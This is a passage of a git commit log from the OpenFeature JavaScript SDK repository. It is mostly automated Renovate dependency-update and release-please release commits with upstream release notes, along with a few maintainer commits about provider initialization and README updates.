-   [@&#8203;xiaoxiangmoe](https://togithub.com/xiaoxiangmoe)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi40My4yIiwidXBkYXRlZEluVmVyIjoiMzYuNDMuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-08-21 11:35:57 -04:00
renovate[bot] eb123576ab
chore(deps): update dependency eslint-plugin-jsdoc to v46.4.6 (#469)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`46.2.6` ->
`46.4.6`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/46.2.6/46.4.6)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/46.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/46.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/46.2.6/46.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/46.2.6/46.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v46.4.6`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.4.6)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.4.5...v46.4.6)

##### Bug Fixes

- update jsdoccomment, comment-parser, and devDeps.
([#&#8203;1139](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1139))
([eed807e](eed807edd9))

###
[`v46.4.5`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.4.5)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.4.4...v46.4.5)

##### Bug Fixes

- **`require-jsdoc`:** accessibility check for latest
typescript-eslint/parser
([#&#8203;1136](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1136))
([e41df35](e41df35d0e))

###
[`v46.4.4`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.4.4)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.4.3...v46.4.4)

##### Bug Fixes

- **`no-undefined-types`:** add `Awaited` TS utility global
([#&#8203;1132](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1132))
([44da8c7](44da8c7e4d))

###
[`v46.4.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.4.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.4.2...v46.4.3)

##### Bug Fixes

- **`match-description`:** drop `throws` and `yields` from being
reported for non-empty descriptions by `nonemptyTags` default;
[#&#8203;1126](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1126)
([03578ca](03578ca582))

###
[`v46.4.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.4.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.4.1...v46.4.2)

##### Bug Fixes

- **`require-jsdoc`:** do not report `MethodDefinition` with non-public
`accessibility`; fixes
[#&#8203;1124](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1124)
([00922c3](00922c3a7c))

###
[`v46.4.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.4.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.4.0...v46.4.1)

##### Bug Fixes

- **`require-jsdoc`:** do not report `PropertyDefinition`'s with
non-public `accessibility`; fixes
[#&#8203;1122](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1122)
([1e45ae4](1e45ae435d))

###
[`v46.4.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.4.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.3.0...v46.4.0)

##### Features

- **`valid-types`:** check `link` and `tutorial` for content;
[#&#8203;233](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/233)
([42c713e](42c713ed3b))

###
[`v46.3.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.3.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.2.6...v46.3.0)

##### Bug Fixes

- make name required on `[@template](https://togithub.com/template)` for
non-JSDoc modes
([467441b](467441b4d0))

##### Features

- **`match-description`:** ensure `[@desc](https://togithub.com/desc)`
checked by default; check more desc-like tags by default; check
non-empty tags;
[#&#8203;233](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/233)
([1b9d9e4](1b9d9e4c85))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xNDEuMyIsInVwZGF0ZWRJblZlciI6IjM2LjI3LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-08-17 16:02:06 -04:00
renovate[bot] 1f31f735dc
chore(deps): update jest monorepo to v29.6.2 (#519)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [jest](https://jestjs.io/)
([source](https://togithub.com/facebook/jest)) | [`29.6.1` ->
`29.6.2`](https://renovatebot.com/diffs/npm/jest/29.6.1/29.6.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest/29.6.1/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest/29.6.1/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-config](https://togithub.com/facebook/jest) | [`29.6.1` ->
`29.6.2`](https://renovatebot.com/diffs/npm/jest-config/29.6.1/29.6.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-config/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-config/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-config/29.6.1/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-config/29.6.1/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-environment-jsdom](https://togithub.com/facebook/jest) |
[`29.6.1` ->
`29.6.2`](https://renovatebot.com/diffs/npm/jest-environment-jsdom/29.6.1/29.6.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-environment-jsdom/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-environment-jsdom/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-environment-jsdom/29.6.1/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-environment-jsdom/29.6.1/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [jest-environment-node](https://togithub.com/facebook/jest) |
[`29.6.1` ->
`29.6.2`](https://renovatebot.com/diffs/npm/jest-environment-node/29.6.1/29.6.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-environment-node/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-environment-node/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-environment-node/29.6.1/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-environment-node/29.6.1/29.6.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>facebook/jest (jest)</summary>

###
[`v29.6.2`](https://togithub.com/facebook/jest/blob/HEAD/CHANGELOG.md#2962)

[Compare
Source](https://togithub.com/facebook/jest/compare/v29.6.1...v29.6.2)

##### Fixes

- `[jest-circus]` Fix snapshot matchers in concurrent tests when nr of
tests exceeds `maxConcurrency`
([#&#8203;14335](https://togithub.com/jestjs/jest/pull/14335))
- `[@jest/core]` When running global setup and teardown, do not try to
change the `message` property of the thrown error object when the
`message` property is unwritable
([#&#8203;14113](https://togithub.com/jestjs/jest/pull/14113))
- `[jest-snapshot]` Move `@types/prettier` from `dependencies` to
`devDependencies`
([#&#8203;14328](https://togithub.com/jestjs/jest/pull/14328))
- `[jest-snapshot]` Throw an explicit error if Prettier v3 is used
([#&#8203;14367](https://togithub.com/jestjs/jest/pull/14367))
- `[jest-reporters]` Add "skipped" and "todo" symbols to Github Actions
Reporter ([#&#8203;14309](https://togithub.com/jestjs/jest/pull/14309))

##### Chore & Maintenance

- `[@jest/core]` Use `pluralize` from `jest-util` rather than own
internal ([#&#8203;14322](https://togithub.com/jestjs/jest/pull/14322))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi4xMS4wIiwidXBkYXRlZEluVmVyIjoiMzYuMTEuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-08-17 15:08:57 -04:00
renovate[bot] 2215e26459
chore(deps): update dependency @openfeature/flagd-provider to v0.8.3 (#487)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| @&#8203;openfeature/flagd-provider | [`0.8.1` ->
`0.8.3`](https://renovatebot.com/diffs/npm/@openfeature%2fflagd-provider/0.8.1/0.8.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@openfeature%2fflagd-provider/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@openfeature%2fflagd-provider/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@openfeature%2fflagd-provider/0.8.1/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@openfeature%2fflagd-provider/0.8.1/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi41LjMiLCJ1cGRhdGVkSW5WZXIiOiIzNi40MC4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-08-15 14:04:40 -04:00
Michael Beemer 67eaa2167e
chore: add missing section header
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-08-11 17:09:23 -04:00
Michael Beemer 3aa69e1e1d
docs: update web sdk readme (#534)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-08-11 16:50:38 -04:00
Michael Beemer 3ae03dc4f3
docs: update server-side readme to explicitly mention node.js (#536)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-08-11 16:38:33 -04:00
github-actions[bot] 279e634d62
chore(main): release js-sdk 1.4.2 (#524)
🤖 I have created a release *beep* *boop*
---


##
[1.4.2](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.4.1...js-sdk-v1.4.2)
(2023-08-07)


### Bug Fixes

* only initialize NOT_READY providers
([#507](https://github.com/open-feature/js-sdk/issues/507))
([5e320ae](5e320ae381))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-08-07 15:16:17 -04:00
Michael Beemer 4c93dd63ea
docs: update server-side sdk readme (#532)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-08-07 14:07:22 -04:00
github-actions[bot] a4f7f5b1b8
chore(main): release web-sdk 0.4.0 (#530)
🤖 I have created a release *beep* *boop*
---


##
[0.4.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.11...web-sdk-v0.4.0)
(2023-07-31)


### Features

* release first non-experimental version
([#528](https://github.com/open-feature/js-sdk/issues/528))
([a4ba064](a4ba064550))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-31 11:59:40 -04:00
Todd Baert a4ba064550
feat: release first non-experimental version (#528)
Technically we already released 0.3.11, but I think it's good to release
a totally new major(really minor b/c we are under 1) version. I've also
removed the "experimental" from the readme.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-31 11:54:34 -04:00
github-actions[bot] 312d67dd3f
chore(main): release web-sdk 0.3.11 (#523)
🤖 I have created a release *beep* *boop*
---


##
[0.3.11](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.10-experimental...web-sdk-v0.3.11)
(2023-07-31)


### Bug Fixes

* only initialize NOT_READY providers
([#507](https://github.com/open-feature/js-sdk/issues/507))
([5e320ae](5e320ae381))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-31 11:47:33 -04:00
github-actions[bot] 95332ab5b2
chore(main): release shared 0.0.10 (#522)
🤖 I have created a release *beep* *boop*
---


##
[0.0.10](https://github.com/open-feature/js-sdk/compare/shared-v0.0.9...shared-v0.0.10)
(2023-07-31)


### Bug Fixes

* only initialize NOT_READY providers
([#507](https://github.com/open-feature/js-sdk/issues/507))
([5e320ae](5e320ae381))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-31 09:44:25 -04:00
Todd Baert 5e320ae381
fix: only initialize NOT_READY providers (#507)
See here. We should only run initialize if `ProviderStatus` is
`NOT_READY` to prevent duplicate calls to `initialize`, as we
[Java](https://github.com/open-feature/java-sdk/blob/main/src/main/java/dev/openfeature/sdk/ProviderRepository.java#L107-L108)
and
[Go](https://github.com/open-feature/go-sdk/blob/main/pkg/openfeature/api.go#L173).

Most of this is test and formatting changes (I had to update the tests
not to use the same object literal). The import change is the single
line here.

Note: it's likely this will break _some_ providers that didn't implement
`status`. I think the [flagd web
provider](https://github.com/open-feature/js-sdk-contrib/blob/main/libs/providers/flagd-web/src/lib/flagd-web-provider.ts),
[GoFF](https://github.com/open-feature/js-sdk-contrib/blob/main/libs/providers/go-feature-flag/src/lib/go-feature-flag-provider.ts)
provider and the
[config-cat](https://github.com/open-feature/js-sdk-contrib/blob/main/libs/providers/config-cat/src/lib/config-cat-provider.ts)
could be impacted. I created issues for these:
- https://github.com/open-feature/js-sdk-contrib/issues/488
- https://github.com/open-feature/js-sdk-contrib/issues/489 
- https://github.com/open-feature/js-sdk-contrib/issues/490

Fixes: https://github.com/open-feature/js-sdk/issues/505

I've also removed all the `setTimeouts` in our test suite. Everything is
working "properly" now with plain events, since all flagd providers are
fully updated.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-31 09:42:30 -04:00
renovate[bot] 8734b7735a
chore(deps): update dependency ts-jest to v29.1.1 (#498)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [ts-jest](https://kulshekhar.github.io/ts-jest)
([source](https://togithub.com/kulshekhar/ts-jest)) | [`29.0.5` ->
`29.1.1`](https://renovatebot.com/diffs/npm/ts-jest/29.0.5/29.1.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/ts-jest/29.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ts-jest/29.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ts-jest/29.0.5/29.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ts-jest/29.0.5/29.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>kulshekhar/ts-jest (ts-jest)</summary>

###
[`v29.1.1`](https://togithub.com/kulshekhar/ts-jest/blob/HEAD/CHANGELOG.md#2911-2023-06-23)

[Compare
Source](https://togithub.com/kulshekhar/ts-jest/compare/v29.1.0...v29.1.1)

##### Security Fixes

-   bump `semver` to `7.5.3`

###
[`v29.1.0`](https://togithub.com/kulshekhar/ts-jest/blob/HEAD/CHANGELOG.md#2910-2023-03-26)

[Compare
Source](https://togithub.com/kulshekhar/ts-jest/compare/v29.0.5...v29.1.0)

##### Features

- Support TypeScript 5.x
([#&#8203;4064](https://togithub.com/kulshekhar/ts-jest/issues/4064))
([db98cc9](87f27821db)),
closes
[#&#8203;4048](https://togithub.com/kulshekhar/ts-jest/issues/4048)

####
[29.0.5](https://togithub.com/kulshekhar/ts-jest/compare/v29.0.4...v29.0.5)
(2023-01-13)

##### Reverts

- Revert "fix(transformer): don't use cache when `tsJestConfig` is
different
([#&#8203;3966](https://togithub.com/kulshekhar/ts-jest/issues/3966))"
([185eb18](185eb189d7)),
closes
[#&#8203;3966](https://togithub.com/kulshekhar/ts-jest/issues/3966)

####
[29.0.4](https://togithub.com/kulshekhar/ts-jest/compare/v29.0.3...v29.0.4)
(2023-01-10)

##### Bug Fixes

- **transformer:** don't use cache when `tsJestConfig` is different
([#&#8203;3966](https://togithub.com/kulshekhar/ts-jest/issues/3966))
([a445638](a445638ca6))
- bump `json5` to `2.2.3`
([#&#8203;3976](b9f7809948))

####
[29.0.3](https://togithub.com/kulshekhar/ts-jest/compare/v29.0.2...v29.0.3)
(2022-09-28)

##### Bug Fixes

- merge config from `globals` with transformer config correctly
([#&#8203;3842](https://togithub.com/kulshekhar/ts-jest/issues/3842))
([9c9fd60](9c9fd6097a)),
closes
[#&#8203;3841](https://togithub.com/kulshekhar/ts-jest/issues/3841)
- **presets:** allow merging transform config when using presets
([#&#8203;3833](https://togithub.com/kulshekhar/ts-jest/issues/3833))
([afc6a94](afc6a948b1))

##### Features

- add `useESM` option to `pathsToModuleNameMapper` options
([#&#8203;3792](https://togithub.com/kulshekhar/ts-jest/issues/3792))
([eabe906](eabe906e1d))

####
[29.0.2](https://togithub.com/kulshekhar/ts-jest/compare/v29.0.1...v29.0.2)
(2022-09-23)

##### Bug Fixes

- mark `ts-jest` as optional in `ConfigGlobals`
([#&#8203;3816](https://togithub.com/kulshekhar/ts-jest/issues/3816))
([cbb88bb](cbb88bba34)),
closes
[#&#8203;3815](https://togithub.com/kulshekhar/ts-jest/issues/3815)
- use correct typings for `config:init` command
([#&#8203;3825](https://togithub.com/kulshekhar/ts-jest/issues/3825))
([21b94db](21b94dbca2))

####
[29.0.2](https://togithub.com/kulshekhar/ts-jest/compare/v29.0.1...v29.0.2)
(2022-09-22)

##### Bug Fixes

- mark `ts-jest` as optional in `ConfigGlobals`
([#&#8203;3816](https://togithub.com/kulshekhar/ts-jest/issues/3816))
([cbb88bb](cbb88bba34)),
closes
[#&#8203;3815](https://togithub.com/kulshekhar/ts-jest/issues/3815)

####
[29.0.1](https://togithub.com/kulshekhar/ts-jest/compare/v29.0.0...v29.0.1)
(2022-09-13)

##### Bug Fixes

- **legacy:** include existing globals config in cached config
([#&#8203;3803](https://togithub.com/kulshekhar/ts-jest/issues/3803))
([e79be47](e79be47d2b))

##### Features

- add typings for `ts-jest` options via `transform` config
([#&#8203;3805](https://togithub.com/kulshekhar/ts-jest/issues/3805))
([664b0f2](664b0f2b44))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi4xMS4wIiwidXBkYXRlZEluVmVyIjoiMzYuMTEuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-07-27 09:39:16 -04:00
github-actions[bot] 0adda256ca
chore(main): release web-sdk 0.3.10-experimental (#517)
🤖 I have created a release *beep* *boop*
---


##
[0.3.10-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.9-experimental...web-sdk-v0.3.10-experimental)
(2023-07-26)


### Bug Fixes

* re-release web-sdk
([15491ba](15491bada9))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-26 16:59:28 -04:00
Todd Baert 15491bada9 fix: re-release web-sdk
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-26 16:58:14 -04:00
github-actions[bot] 326e5d66c4
chore(main): release js-sdk 1.4.1 (#515)
🤖 I have created a release *beep* *boop*
---


##
[1.4.1](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.4.0...js-sdk-v1.4.1)
(2023-07-26)


### Bug Fixes

* provider js-doc improvments
([#506](https://github.com/open-feature/js-sdk/issues/506))
([c815bc8](c815bc83cf))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-26 16:41:56 -04:00
github-actions[bot] a1c7966d18
chore: release main (#511)
🤖 I have created a release *beep* *boop*
---


<details><summary>@openfeature/js-sdk: 1.4.1</summary>

### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/shared bumped from * to 0.0.9
</details>

<details><summary>@openfeature/web-sdk: 0.3.9-experimental</summary>

### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/shared bumped from * to 0.0.9
</details>

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-26 16:10:22 -04:00
github-actions[bot] 88dbec0b61
chore(main): release shared 0.0.9 (#510)
🤖 I have created a release *beep* *boop*
---


##
[0.0.9](https://github.com/open-feature/js-sdk/compare/shared-v0.0.8...shared-v0.0.9)
(2023-07-26)


### Bug Fixes

* provider js-doc improvments
([#506](https://github.com/open-feature/js-sdk/issues/506))
([c815bc8](c815bc83cf))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-26 16:04:03 -04:00
Todd Baert c815bc83cf
fix: provider js-doc improvments (#506)
In 3 event provider implementations,
[flagd-java](https://github.com/open-feature/java-sdk-contrib/pull/361#pullrequestreview-1541468446),
[go-feature-flag-web](https://github.com/open-feature/js-sdk-contrib/pull/474#discussion_r1274012627),
and even my own implementation of flagd-js, authors have forgotten to
properly implement `getState` (which means the SDK assumes the provider
is already `READY` and doesn't run `initialize()`.)

This is an easy pitfall. To help with this, I'm adding doc.

We may be able to improve the interfaces to help with this, but I think
this is a safe and helpful change for now.

Relates to: https://github.com/open-feature/java-sdk/pull/531

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-26 15:21:01 -04:00
github-actions[bot] 9aca1cd085
chore(main): release web-sdk 0.3.8-experimental (#494)
🤖 I have created a release *beep* *boop*
---


##
[0.3.8-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.7-experimental...web-sdk-v0.3.8-experimental)
(2023-07-24)


### Features

* typesafe event emitter
([#490](https://github.com/open-feature/js-sdk/issues/490))
([92e3a72](92e3a724bf))


### Bug Fixes

* onContextChanged not running for named providers
([#491](https://github.com/open-feature/js-sdk/issues/491))
([1ab0cc6](1ab0cc6bb2))
* race adding handler during init
([#501](https://github.com/open-feature/js-sdk/issues/501))
([0be9c5d](0be9c5dcd9))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-24 16:41:53 -04:00
Lukas Reining 1ab0cc6bb2
fix: onContextChanged not running for named providers (#491)
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2023-07-24 16:40:28 -04:00
renovate[bot] 25f69cf384
chore(deps): update jest monorepo (#499)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/jest](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`29.2.4` ->
`29.5.3`](https://renovatebot.com/diffs/npm/@types%2fjest/29.2.4/29.5.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fjest/29.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fjest/29.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
